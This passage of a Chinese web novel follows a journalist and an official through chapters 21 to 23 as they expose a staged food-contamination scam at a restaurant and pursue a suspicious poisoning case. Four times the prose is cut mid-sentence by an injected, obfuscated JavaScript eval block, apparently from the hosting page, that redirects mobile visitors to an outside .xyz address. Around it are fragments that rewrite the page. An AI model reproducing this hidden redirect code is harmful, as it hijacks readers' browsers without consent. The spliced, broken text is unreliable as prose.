“其中有一桩命案发生在上个月,案发地点就在揽月阁。据死者的朋友所讲,当时他正与死者一同吃饭,死者却突然倒地不起。待他去探察死者情况时,他已经没了鼻息。他急忙大声呼救,掌柜也迅速差人报了官。” “县衙中关于此案的卷宗记录,死者是陈疾发作而亡。但我觉得其中有许多蹊跷,故来揽月阁询问详情。” 后面的事孟允抒不用想就知道,肯定是在许昭问完话后,掌柜邀请他在揽月阁吃饭,但他执意不肯。 不知是不是因为此事属于意外事件,不算谋杀案,揽月阁的生意看上去并未受到命案影响,此时依旧人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406984|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满为患。 孟允抒嗅到一丝新闻的气息,想向许昭打听更多详情:“若不涉及案件机密,公子可否向我透露一二,你觉得此案有哪些蹊跷?” 许昭略一思索回答道:“案情的具体细节我不便告知于你,请姑娘见谅。不过有些消息早已公之于众,告诉你也无妨。” 他从案发当晚的事情开始讲起。 “死者名叫陈修远,自出生以来就患有心痹之症。他在一月以前的殿试中位列三甲,被赐予同进士出身。按照他朋友柳玉成的口供,那日他为陈修远祝酒庆贺,席间他的情绪十分激昂,却突然呼吸急促,倒地挣扎片刻就没了动静。情绪剧烈起伏的确会诱发心痹,或许正是因此,陈修远才会病发身亡。” “我重审此案后经过调查得知,陈修远身有固疾却调养得当,除过他幼时发过一次病,这些年来一直未犯。” 孟允抒与许昭对视一眼。 所以,陈修远的死因并不确凿。 “案发当晚也有其余食客在揽月阁中用膳,有些人在听闻此事后曾跑去陈修远处一探究竟。我找来这些见证人问话,他们描述的死者状况与卷宗记录倒是完全一致。” 卷宗上的案情描述来自陈修远的朋友与掌柜。至少在这部分上,他们没有撒谎。 “面色痛苦,口唇青紫,嘴巴大张,死不瞑目,符合心痹骤发的症状。”许昭沉声说道,“可中毒而亡者,往往也是这般模样。衙役们在现场时并未探查陈修远所用食器中是否有毒,如何能断定他的死因?” 孟允抒顿悟,压低声音问许昭:“你怀疑……” 许昭给出了肯定的答案。 “但凡事都要凭证据说话,尤其在断案时,绝不能先入为主地妄下定论。所以,我还需要多方调查,搜寻更多线索。” 他又讲起案件的最终处理结果。 “陈修远的亲戚都远在千里之外,他在京中有位名叫陈暄的同乡故友,他曾代陈修远的家人去县衙申冤,请求他们彻查此事。这案子没费太大功夫,半月前县尉宣布结案,此事被定性为意外事件,所以对柳玉成和揽月阁的处罚都不算重,由双方各自赔偿五十两银子就算了事。” 孟允抒疑惑:“一条人命只值一百两,陈暄以及陈修远的家人能满足于此吗?” “方才我问过潘掌柜案发经过和案件细节后,也向他提出此番疑问。”许昭回答,“潘掌柜说,陈暄对县衙给出的判罚不满却上诉无门,屡屡碰壁后,索性直接去找他和柳玉成。” “陈暄三番五次地上门叨扰,柳玉成坚称此事的主要责任不在于他,不愿多赔钱,而潘掌柜却出了八百两银子。” 孟允抒发现了疑点:“八百两不是个小数目,潘掌柜为何能掏得这么爽快?” “我也对此抱有疑问。”许昭赞同地点头,“据潘掌柜所说,这是因为陈暄死缠烂打,他不想让陈暄扰了他的生意,所以想要尽快息事宁人。” 但在旁人看来,这种行为颇有做贼心虚的意味。” 孟允抒陷入沉思,脑海中浮现出无数猜想。许昭掌握的信息显然比她更多,但他还未得出结论,她也不好妄加揣测。 一声怒喝打断了她的思考。 “真是晦气!你们赚了那么多钱,就让我们吃这种不干不净的东西?” 孟允抒和许昭一同望向声音的来源,只见店中好事的食客纷纷涌向那张靠墙角的桌子。 她出于记者本能,迅速拉起许昭跑了过去:“走,我们去看看。” 21. 食品卫生 两人赶至那处桌位时,围观群众已经将桌子围得水泄不通。很快有人注意到身着公服的许昭,众人小声议论着“是官府的人”,自觉地为他让开一条路。 孟允抒跟着他沾了光,免去了从人群中挤过去的麻烦。 不得不说,在有些时候,官方身份就是好用。 孟允抒看向坐在桌边的两名男子,他们都是满面怒容,双手抱臂,一副要与店家论个高下的架势。两人身旁站着名伙计,不停地向他们赔罪,让他们先息怒。 而在他们的桌子上摆着两个空碗,碗中只余吃完面后剩下的汤汁,以及两只仰面朝天的苍蝇。 从几人说话的内容中可以听出事情的经过:这两名男子来揽月阁要了两碗面,却在吃完后才发现碗底有苍蝇,顿时觉得一阵反胃,要求店家给出合理的解释和赔偿。 猜疑的情绪很快在群体中蔓延,“恶心”“想吐”的嘀咕声此起彼伏,有不少人也开始怀疑,自己是否吃下了不干净的饭菜。 在嘈杂的议论声中,系统的声音却尤为清晰。 【您已触发任务:七日内探明揽月阁的食品安全与卫生问题,并将真相公之于众。任务完成后您可获得300点声望。】 不愧是揽月阁,连任务奖励都跟着它水涨船高。 “诸位客官让一让。” 潘掌柜的声音由远及近,他急匆匆地跑到桌前,仔细瞅了眼碗里的苍蝇,对两名男子行了礼,而后赔着笑说:“两位客官,今日没让你们吃好是小店的罪过,确实该骂。” 他像是给众人澄清事实一般,高声说道:“但如各位所见,揽月阁中连半只蚊虫都没有,后厨的把关更是严格,你们的饭菜里绝不可能出现苍蝇。” 揽月阁的名声在外,可谓是有口皆碑。孟允抒经过亲身体验也发现,揽月阁的饭菜价格固然超出同行许多,但肆中的食物味道、店铺卫生状况、伙计们的服务态度确实都对得起这样的消费水准。 潘掌柜的话压下了一部分骚乱,可怀疑的种子一旦种下就难以根除,依然有不少人在窃窃私语。 桌旁坐着的一名男子冷笑道:“掌柜的意思是说,这事和你们没关系,不予赔偿?” “我并无此意,请客官不要误会。”潘掌柜连忙解释,“照我们店里的规矩,若是客官发现饭菜不干净,我们会按照您整单价格的十倍进行赔偿。钱财事小,可我们不能无故受冤,这有损揽月阁的声誉。” 他看看他们碗中的异物:“我方才已经问过后厨的厨子和帮工,您的面碗自始至终都没离开过他们的视线,这位跑堂的店小二也向您解释过,在为您上菜时,他并没有看到您的碗里有苍蝇。” “你们都是一伙的,谁知道你们是不是串供?”两名男子对他的解释并不满意,反驳他道,“再说,空口无凭,你们说没有就是没有?” 许昭身后的两人悄悄说道:“就是,我还听说揽月阁上个月出了桩命案,说不定那人也是吃了有问题的饭食才身亡的。” “对,揽月阁那个十倍赔偿的规矩也是在案发之后才设立的,说不定就是欲盖弥彰。” 孟允抒已经听完双方的叙述和证言,眼见流言开始在旁观者中发酵,她上前一步问道:“潘掌柜,还有这两位兄弟,既然你们双方各执一词互不相让,可否由我们临时充当判官,查证此事?” 潘掌柜欣然应允,两名男子看了看许昭身上的公服,脸上多了几分敬畏:“大人和姑娘请便。” 孟允抒用勺子舀起他们两人碗中的苍蝇,放在眼前仔细观察一番后交给许昭过目。 她见许昭蹙起眉头,想来他心中已有答案。 保险起见,她又和许昭带着两名男子去后厨转了一圈,确认其卫生情况如潘掌柜所述。 最后,他们回到桌前,再次将注意力集中在那两只碗上。 “方才我已听你们讲述了事件经过,但有些细节我想向你们再次确认。” 孟允抒面向那两名男子问:“据二位所说,你们是吃完面后才发现碗底有异物,而在此之前,包括搅拌面条的时候都并未看到苍蝇,对吗?” “没错。” 孟允抒又转向店小二:“你上菜的时候也没见到碗中有异物?” 伙计连连点头:“对。” “如此说来,这苍蝇一直待在碗底,所以各位起初并未发觉。” 潘掌柜想要辩解:“怎么可能!” 孟允抒让潘掌柜先冷静:“掌柜莫急,我只是根据各位的证词说出我的推断。” 当事人和旁观者都认可她的推论,孟允抒就继续说了下去。 “既然如此,这苍蝇应是一直被压在面条下方,在汤汁中浸泡许久。” 她举起勺中的那两只苍蝇,让众人看得更清楚些:“可这两只苍蝇的尸体完好无损,并未发生任何形变,甚至连翅膀都没有完全湿透。两位兄弟对此作何解释?” 不等他们作出回答,潘掌柜立刻反应过来,瞪大眼睛说:“这苍蝇是你们吃完面后自己放进去的!” “你们休要信口雌黄!”那两人恼羞成怒,反咬一口道,“你们有什么证据表明,这两只苍蝇是我们放的?” 孟允抒给许昭使了个眼色。 “若我没有猜错的话,证据应该就在二位身上。”许昭会意地说道,“你们是自己主动交出证据,还是等我搜身?” 那两人还在装糊涂:“什么证据?我们不明白大人的意思。” “那就对不住了。” 许昭上前一步,强硬地从一人前襟的口袋中掏出一个扁小的圆盒,打开盒盖公开示众,让在场所有人看清,盒子中空无一物。 明眼人都看得出来,这就是他们先前用来装苍蝇的容器。 许昭转向两名男子问道:“请问二位,为何要装着这样一个空盒出门?” 两人一时无言以对,互相用眼神暗示彼此想办法。 许昭的面色平静:“没关系,要是两位现在想不起来,那就请你们随我去刑部坐坐,与我细细道来。” 在那两人眼里,许昭现在分明就是凶神恶煞的形象,他们稍有不慎可能就会被带走坐牢。 两人见势不妙光速滑跪,一边磕头一边认罪:“大人饶命,我们不是有意欺瞒您。” 他们又连忙向掌柜赔罪:“潘掌柜,我们知错了,您大人不记小人过,就原谅我们这一次吧。” 许昭让他们起来说话,潘掌柜则怒不可遏:“你们差点砸了我揽月阁的招牌!说,你们为何要污蔑我们?” “前些日子我们听说,揽月阁出了新规矩,就是您说的,要是发现饭菜不干净,就能得到原价的十倍赔偿。”一名男子惊慌失措地说道,“我们贪图钱财,一时鬼迷心窍,这才出此下策。我发誓,我们再也不敢了!” “我看你们分明是胆大包天。” 一句话出口,众人纷纷愣怔地看向孟允抒。 孟允抒佯装怒道:“都这个时候了,你们还不说实话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416206|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,当真是不见棺材不落泪。” 不单是那两名男子,潘掌柜听到这话也十分诧异:“姑娘何出此言?” “揽月阁的规矩是按整单价格的十倍赔偿,他们如果从一开始就打着讹诈揽月阁的主意,为何不多要些饭菜,而是只点两碗素面?” 她看向那两名男子,他们虽穿着粗布衣衫,但着装整洁,不至于连两盘家常菜的钱都掏不起。 “他们这样下来赚不到一两银子,何苦如此大费周章。” 孟允抒心中有了一个猜测,见那两人还想掩饰,决定先诓他们一下。 “你们是受人所托,犯不着把自己也搭进去。当然,两位要是想去看看牢房的光景,我也没意见。” “不不,我们说。”那两人见孟允抒已经道破真相,只能如实招来,“我们是福临楼里的帮工。” 潘掌柜恍然大悟:“我说最近怎么总有人在揽月阁中捣乱,原来是你们福临楼干的好事!” 福临楼是另一家中型食肆,与揽月阁相隔一条街。它的开张时间比揽月阁更早,作为老字号一度与揽月阁平分秋色。但一山难容二虎,随着揽月阁的生意愈发红火,规模日渐扩张,福临楼的营收每况愈下,店里的光景已经不复从前。 这两个伙计害怕他们掌柜怪罪,可这边有许昭坐镇,又有孟允抒步步紧逼,他们觉得还是性命要紧,一股脑地将真相倒了出来:“我们掌柜说,是您抢了他的生意,所以叫我们来给您泼脏水,搞臭揽月阁的名声。” 这样一来,顾客就会涌向其他食肆,福临楼能从中分一杯羹。 “歹毒,卑鄙!”潘掌柜对他们的手段作出评价,“今日要不是有许大人和这位——” 孟允抒笑笑:“我姓孟。” 掌柜接着她的话说了下去:“和这位孟姑娘明察秋毫,揽月阁就是跳进黄河也洗不清!” 见潘掌柜大骂两个伙计,孟允抒劝解道:“掌柜息怒。这是他们两人的一面之词,我们还应继续查证。即便此事真是福临楼的掌柜一手策划,这二人也只是被逼无奈,您骂他们也没用。” 孟允抒替那两名男子解了围,他们连声向孟允抒道谢。 “道谢就先免了,我且问你们,方才你二人所言是否属实?” 他们看了看孟允抒身边的许昭,慌忙答道:“那是自然,我们所说句句属实,不敢有半点虚言。” “很好。” 孟允抒转过身面向围观群众,将声音抬高几分,趁机打起了广告:“既然我已提出查明此事,就会负责到底。我是黎民报社的社长,自始至终坚持将新闻真相带给诸位读者。各位若是想了解此事内情与后续,可于明日买份黎民日报一览事件脉络。” 在大家七嘴八舌地议论起“黎民报社”的时候,孟允抒对那两名伙计说道:“二位要是想保全自身,就带我去找你们福临楼的掌柜当面对质。” 他们点头应允,潘掌柜也恭敬地作了一揖:“难怪孟姑娘机敏过人,原来是报社的探官。” 对于她提出的解决方案,潘掌柜则说道:“那就有劳孟社长带我跑一趟了。我这边抽不开身,先派个伙计随你一同前去。” 见事情已经告一段落,旁观的食客陆续散开,孟允抒转头向许昭说道:“那我先去福临楼,你吃完饭后就回官府吧。” “不,我也和你一起去。我也正巧要去福临楼中寻人。”沉默半晌的许昭抬起头来,“陈修远的那名同乡好友陈暄,正是福临楼里的帮工。” 22. 内幕 新闻与案件都是刻不容缓的事物,孟允抒和许昭带上揽月阁、福临楼的三名伙计,马不停蹄地赶往福临楼。 按照孟允抒事先交代过的流程,两名伙计打头阵走在最前方,进了福临楼的大门就大喊道:“掌柜,大事不好了!” 一个中年男子快步从后厨中走出,先是给他们打了个压低声音的手势,而后一脸不耐烦地问:“大呼小叫的干什么,你们没见到这儿有这么多客官吃饭?” 趁着他们进门的这会功夫,孟允抒已经迅速将福临楼上下打量了一番。 福临楼开张有些年头了,连大门上的朱漆都脱落不少。不过瘦死的骆驼比马大,即便福临楼的营收大不如前,肆内的食客依然不在少数,他们的高谈阔论溢满整间店铺,全无孟允抒此前想象的凄凉萧索。 从这点来看,福临楼的掌柜依然在乎自己的声誉,不至于破罐破摔。 只要他还有软肋,交涉起来就不会太困难。 掌柜将两个伙计训斥一通,望见他们身后跟着的孟允抒等人,看他们不像是来吃饭的样子,疑惑地问道:“这几位是?” “这位是刑部郎中许大人,这位是黎民报社的孟社长。”两个伙计又反过来向他们介绍道,“这就是我们店的刘掌柜。” 双方互相行了礼,孟允抒率先问道:“刘掌柜,这两位可是你们福临楼里的帮工?” 从方才刘掌柜的反应来看,这个问题的答案已经明了。 他点头道:“正是。不知几位前来是有何事?” 孟允抒瞥了眼店中的食客,不少人将目光投向他们,显然是被许昭身上的那件公服吸引了注意力。 “有些事我们想单独问问掌柜,不知您能否行个方便?” 许昭的名号再次发挥了作用,虽然刘掌柜尚不知晓他们来此处的目的,却也不敢怠慢。 “那是自然,几位请。” 刘掌柜带他们来到后院的房间内,几人落了座,刘掌柜差遣伙计去端茶,孟允抒阻拦道:“掌柜不必拘礼,我们要问的不是什么要紧事,若是您愿意配合,我们几句话就能说完。” 孟允抒直入正题,指着那两个帮工问:“请问掌柜,可是你唆使这两名伙计在揽月阁的饭菜中投放异物,凭空污人清白?” “什么,你们做过这事?”刘掌柜惊疑地看看两个伙计,向孟允抒大呼冤枉,“好端端的,我怎会让他们去揽月阁污蔑旁人,孟社长何出此言?” 孟允抒看了眼福临楼的两名伙计,他们赶忙上前劝道:“掌柜,方才在揽月阁时两位大人就已经查明真相,您快和他们说实话吧,坐牢可不是闹着玩的。” 刘掌柜还是一头雾水的模样:“什么真相?” 两个伙计向他概述了事件全过程,刘掌柜赶紧向孟允抒和许昭解释道:“两位大人不能相信他们说的话。平日里我对他们严加看管,他们对我积怨已久,如今故意使出这样下三滥的伎俩,再把这污名强加于我,这分明是报复!” 两个伙计先是一愣,而后又急又气地说道:“掌柜,我们是听令行事,如今事情败露,你不能弃我们于不顾!” 孟允抒并不相信这两人能想出这样曲折的计谋。 更何况,砸福临楼的招牌就等于砸他们自己的饭碗。 她不紧不慢地说道:“掌柜若是非要装傻充愣,那看来我们也不必在此白费口舌,回头自有刑部的人来上门接你。” 刘掌柜的脸色一白,孟允抒继续向他施压:“而且在揽月阁时,许多人曾围观此事,知晓内情。掌柜要是不怕众口铄金,损毁福临楼的清誉,那就当我多管闲事。” 说罢,她起身欲走。 “别,两位大人留步。”他讪笑着请孟允抒和许昭重新坐下,“大人对不住,我不是有意瞒你们。” 他叹了口气,老老实实地交代自己的动机。与那两个伙计所述一致,他的确是出于商业竞争的目的,这才出此下策。 说着,他又为自己的行为作辩解,咬牙切齿地说:“我知道这手段不光彩,可揽月阁的食器本身就不干净,他们昧着良心赚钱,我不过是把这事捅出去罢了。” 许昭发现一个重点问题,追问他道:“你为何说揽月阁的食器不干净?” “旁人都是这么说的。”刘掌柜回答,“上个月揽月阁中发生命案,陈修远死得突然,大家都说是他所用食器有问题,而潘掌柜为掩人耳目买通了县尉,对外宣称他是突发陈疾而亡。” 孟允抒问:“这些都只是传言,不足为信。你可有其他确切证据?” “我不是官府的人,案发当晚也不在现场,且与陈修远只有一面之缘,哪里来的证据。”刘掌柜说着,一拍脑袋想起一个关键人物,“对了,陈暄。” 听到这个名字,孟允抒和许昭都坐直身子,凝神听他继续讲下去。 “陈暄是陈修远的同乡好友,几年前来我们店里帮工,吃住都在铺中。他在休息时总是捧着书看,后来我问他得知,他是个秀才,参加了两次乡试都未能中举。他家中现在只剩下他一个人,就索性到京城做工,一边赚钱一边备考。” “大概三个月前,陈修远进京赶考,陈暄曾带他来福临楼中吃饭。我听陈暄说过去他们两家离得近,二人自幼相识,是二十几年的挚友。” 刘掌柜讲述着事情的来龙去脉,这些与许昭掌握的情报相吻合。 “殿试放榜后,陈暄看起来很高兴,嘴里念叨着陈修远十几载寒窗苦读,如今终于有了回报。” 在他的描述中,孟允抒觉得陈暄和陈修远的交情甚笃。 刘掌柜的语气中充满惋惜:“但在其后没过几天,陈修远就意外亡故了。从那天起陈暄就四处奔走,想为陈修远讨个公道。上诉未果后,他又跑去找揽月阁和柳玉成的麻烦,要求他们供出案件真相。” 许昭打断他的话提问:“陈暄为何认定这案子的判罚有误?” “他说陈修远的性格豁达爽朗,又格外注重自身修养,平日控制情绪得当,这么多年来都未曾复发陈疾,怎会突发心痹而亡?” “除此之外,潘掌柜的举动更是坐实了他的猜测。陈暄上门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432207|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几次后,潘掌柜没再赶走他,而是给他赔了八百两银子,让陈暄不要再揪住此事不放,否则他就去报官。” 刘掌柜敲敲桌子:“这真是奇怪。揽月阁中雇有打手,潘掌柜完全可以将陈暄拒之门外,时间久了他自然会消停。更何况陈暄无权无势,他能有多大的能耐,潘掌柜为何会因为他的纠缠轻易让步?” 孟允抒和许昭先前也曾对此产生怀疑,潘掌柜给出的理由不能服众。陈暄由此认定,陈修远的死一定与揽月阁有关。 “陈暄收了潘掌柜的银两交给陈修远家人,也不好继续在明面上闹事,但我知道他心里始终憋着一口气。”刘掌柜讲道,“我本来就和潘掌柜不对付,我们俩互相给对方明里暗里地使绊子,最近陈暄给我出了不少主意。” 刘掌柜回到当下的话题,对孟允抒和许昭说:“今日诬陷揽月阁之事也是他一手谋划,我顶多只是点了个头,你们应该找陈暄问罪。” 孟允抒明白了,陈暄这是存心报复揽月阁,故而借刀杀人。 许昭问道:“陈暄今日可在铺中?” “在。”刘掌柜赶紧对旁边的伙计吩咐道,“快去把陈暄叫来。” 几人聊了没几句话,伙计就快步进来说道:“两位大人,陈暄已经带到了。” 孟允抒抬眼看了看陈暄,这人中等个头,体型偏瘦,颧骨较高,这让他显得有些阴郁。 许昭的身份最容易辨认,陈暄直勾勾地盯着他,开口说道:“大人今日前来,是要把我抓去用刑,好让我自此闭嘴吗?” “哎,你怎么和许大人说话呢!”刘掌柜喝止他继续说下去,转头对许昭赔着笑说,“他就是这脾气,但是没什么坏心思,您别见怪。” 孟允抒心想,许昭较真的时候比陈暄说话难听多了,他对此肯定没什么感觉。 许昭问了陈暄一些案情相关的问题,又与他确认刘掌柜所言属实,看向他问道:“你为何会认为我是来抓你的?” 陈暄淡然说道:“我先前替修远申冤时,县衙的大人们常以各种理由把我抓起来挨板子,我都习惯了。” 重建信任绝非易事,许昭沉默许久,不知该如何回应。 “许大人和他们不一样。你若确实有冤,他定会助你查明真相。” 孟允抒的话掷地有声,像是在说一个不容置疑的事实,这让许昭和陈暄都转过头,一齐望向她。 陈暄质问孟允抒:“你与许大人是什么关系,又如何能作出此番保证?” “我与许大人是朋友。” 眼见着许昭的神情逐渐落寞,孟允抒不易察觉地碰碰他的胳膊,提醒他配合自己演戏,面带微笑地说道:“我是黎民报社的社长,此番同他一起前来调查事件,为的就是将真相昭告天下。横竖你也找不到突破口,不如与我们合作。” 陈暄的目光从两人脸上依次扫过,将信将疑地问:“你们需要我做什么?” “很简单,回到揽月阁找潘掌柜。”孟允抒对他说道,“你有什么疑问就尽管抛出来,看看潘掌柜能否对答如流。” 23. 纠缠不休 从见到陈暄的那一刻起,潘掌柜就是一副头痛欲裂的表情。 他带着几人寻了处空房坐下,刚落座就拧着眉头问孟允抒和许昭:“两位大人,你们帮我挽回声誉,我感激不尽。但你们把这个大麻烦带来干什么?” 看得出来,潘掌柜被陈暄折磨得不轻。 孟允抒顺着他的话茬,半是调侃半是提问道:“陈暄是一介草民,潘掌柜财大气粗,还拿他没办法?” “看您这话说的。”潘掌柜回答,“我能让他进不来揽月阁,却拦不住他在外面诋毁我们的名声。” 说到这,他苦着张脸看向陈暄:“我已经给你赔了银子,你为何还是不依不饶?” 陈暄的语气略带讥讽:“怪不得人皆爱财,有了银子就可以颠倒黑白,肆意篡改真相。” 潘掌柜气血上涌,他拍案而起,指着陈暄的鼻子反问:“你凭什么认定陈修远一案与揽月阁脱不了干系?就因为我好心赔了钱?好人当真做不得?” 掌柜的声音一句比一句高,许昭劝他先冷静,听听陈暄怎么说。 “潘掌柜完全可以对我的诉求不予理会,甚至以寻衅滋事为由把我交给官府处置,可你非但没有这么做,反而给我赔了银子,并且反复劝诫我就此罢手。由此可见,你不想让我把事情闹大。即使修远的事与掌柜无关,你也肯定对我有所隐瞒。” 陈修远的脸上显露出一丝哀伤:“我并非有意与掌柜作对,但我必须知晓修远的真正死因。当前我一筹莫展,只能试图从你这里获取线索。” 所以,陈暄就拼了命地给揽月阁找事,在此胡搅蛮缠。 孟允抒觉得,陈暄和萧谨言还有许昭都挺一根筋的。 或许这就是读书人的共性。 “但我确实与陈修远一案无关,你让我怎么说?”潘掌柜看起来一副快要崩溃的样子,“自案发后就总有传言说揽月阁的食器或饭菜不干净,为此我才特意出了新规。当时我经不起半点波折,就想尽快解决纠纷,你却不肯放过我。” 双方各执一词,他们陷入了僵局。 孟允抒见潘掌柜不为所动,只能另想他法。 她回顾案情,潘掌柜愿意给陈暄作出赔偿,证明他至少还有些良心。她或许可以把这点当作突破口。 孟允抒试探着说道:“潘掌柜,既然你问心无愧,又已经作出赔偿,陈暄却仍然毁你声誉,那就不必手下留情,和他在这白费口舌。此等无赖就该给他些教训尝尝。” 她看了看许昭:“正好许大人今日在此,待会顺便把陈暄带回官府,让他受点皮肉之苦,这下他就能老实一阵,不再打扰潘掌柜。” 许昭愣了愣,他不知道孟允抒唱的是哪出,却依然配合地点点头。 陈暄比他先回过神,大骂孟允抒道:“亏我方才信了你的鬼话,竟没看出你心如蛇蝎!” 孟允抒倒是希望他多骂两句,这样效果更逼真。 “住口。”孟允抒佯装怒道,“潘掌柜心善,你却对他死咬不放,不知丧尽天良的人是谁!” 她回头对许昭说道:“许大人,麻烦您快把这泼皮抓走,好还潘掌柜一个安宁。” 见许昭起身去押陈暄,潘掌柜慌忙阻拦道:“等等。” 他脸上挤出一个微笑:“不劳许大人费心,此事我们私下解决即可。” 孟允抒心里有了底。 陈暄说得没错,潘掌柜确实心里有鬼。 孟允抒故作惊讶道:“掌柜这是何意?” 许昭也察觉到潘掌柜的反应异常,附和着孟允抒问道:“陈暄屡次找你的麻烦,现今我们把他依法处置,你为何要阻拦?” “我确实不胜其烦,但他犯的都是些小事,两位不用如此大动干戈。” “不行。”许昭斩钉截铁地说道,“国有国法,掌柜不该袒护他。” 这句话实在太符合许昭的人设,孟允抒不知道他是演的还是真的。 在两人的拉扯之中,潘掌柜急得跺脚,口不择言道:“你们一个两个怎么都犟成这样,这案子查下去对你们有什么好处?” 在场所有人都听出他的弦外之音。 许昭的神色一凛:“听掌柜的意思,你是劝我们不要深究此案?” 潘掌柜连忙辩解:“不是,我……” “扑通”跪地的声音打断了他的话。 陈暄双膝跪地,可腰板却挺得笔直,神情庄严。 他高声说道:“潘掌柜,修远与我是至交好友,我不能就这样看着他不明不白地走了。我恳求您将实情告知于我。” 他弯下腰去,将额头磕向地面。 “拜托了。” 潘掌柜的眉头拧得更紧了:“你这是做什么,赶紧起来!” 陈暄重新站起后,潘掌柜背起手摇着头,在屋内快步走了几个来回,最后重重叹了口气,坐到椅子上。 他将视线投向屋中的地毯,用目光细细描摹着上面的图案。 “我从六岁起就四处流浪,过着饥一顿饱一顿的日子,靠着给人当学徒做工攒了些钱,后来慢慢开起了这间食肆。” 潘掌柜没有过多描述这些经历的细节,但不用想也知道,一个孤苦伶仃的乞儿白手起家,一步步走到今天,其中定是饱尝心酸。 “其实,我幼时并未想过长大后我会从商。若是能够选择,我更希望有机会读书入仕。”他抬眼看看陈暄,“你和陈修远都是出身贫寒的读书人,你们遭此劫难却申冤无门,我于心不忍,因此主动赔了银两。” 就在孟允抒以为潘掌柜要把内幕告诉他们时,他却来了个转折句。 “可揽月阁是我毕生心血,我必须谨慎行事。” 潘掌柜看着眼前的三人:“经商之人难免要与各方势力打交道,要学会圆滑处事,许多事辨得太清对自己没好处。这个道理同样适用于其他方面。” 他语重心长地说道:“几位听我一句劝,此事吃力不讨好,你们别再查下去了。” 根据潘掌柜所说的话,孟允抒已经可以肯定,他的确知道案件的隐情。 而且听他的口气,其中应当还牵扯到一些权贵或富庶之人。潘掌柜像是顾忌于此,才迟迟不肯对他们如实相告。 孟允抒轻叹一声:“多谢掌柜劝告,我也明白您的苦衷。” 在过去的采访中,她也经常能见到因为害怕祸及自身而故作无知的当事人。 不是每个人都有勇气讲真话。 “只是我有一问想请潘掌柜作答。”孟允抒转而问他,眼中迸射出锐利的光芒,“若人人都像您这般装聋作哑,倘若某日您蒙受冤屈,旁人却对此置若罔闻,掌柜又该当如何?” 潘掌柜的面色有一丝松动:“话是这么说,可是……” “潘掌柜,我出身寒门,靠着读书考试才得以入朝为官,一路走来见过太多不平,也经历了不少磨难。” 许昭看了看端坐在椅子上的陈暄,像是见到了昔日的自己。 “现今我既然有职权在身,就绝不会对冤情视而不见。此案我一定会彻查到底。” 许昭的语气坚决,潘掌柜忍不住问他:“为几个不相干的小人物,大人甘愿以身涉险,这样值得吗?” 对此,许昭只作出了一句简短的回答。 “我先前也是和他们一样的‘小人物’。” 在潘掌柜沉默之际,许昭又开口说道:“我曾听闻许多屈打成招的案例,所以在为官之后,若非必须,我不会对人用刑。” 孟允抒听出来了,这是一句自证,也是一句警告。 许昭这是先礼后兵。 潘掌柜显然也明白了许昭的弦外之音。在他们的软硬兼施下,他认命地往椅背上一靠。 终于,他吐露出一条线索。 “大人若是有心查明此案,应当从柳玉成处着手调查。” 潘掌柜抬起头看向许昭,将他案发后的经历一一道来。 “那日陈修远意外身亡,县衙的人来勘查了现场,他们了解过大致情况,将我与柳玉成带走审问。审讯结束后,因为案件真相尚且不明,我与柳玉成都被暂时关押在牢中,听候发落。” “直至此时我都没明白发生了什么,万分忧心于自身清白。柳玉成见状和我搭上了话,他劝我不要细究此事,免得惹祸上身。柳玉成说,只要我肯听从县衙的安排,并且对今日之事守口如瓶,他就能保证我性命无虞,同时揽月阁的声誉也不会受损,对我作出的罚金将由他承担。” “我对此将信将疑,却也不敢轻举妄动。过了几日,结果的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444403|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确如柳玉成所说,此事就这样被轻轻放下,他也兑现诺言,给了我五十两银子。” 潘掌柜回忆着整件事当中的蹊跷之处:“柳玉成事先就能知道判决结果,从那几日县衙的人对我们的态度也能看出,他应该已经提前打点好了一切。既然他能摆平这种人命官司,背后势力定是不容小觑。” 孟允抒和许昭对视一眼,交换了一下彼此的观点。 如果潘掌柜没有说谎,那么柳玉成的嫌疑很大。 “多谢潘掌柜坦言相告,稍后我会派人在暗中防守,近日将由他们保护你的安全。” 此举的另一个目的就是在揽月阁处布防盯梢。 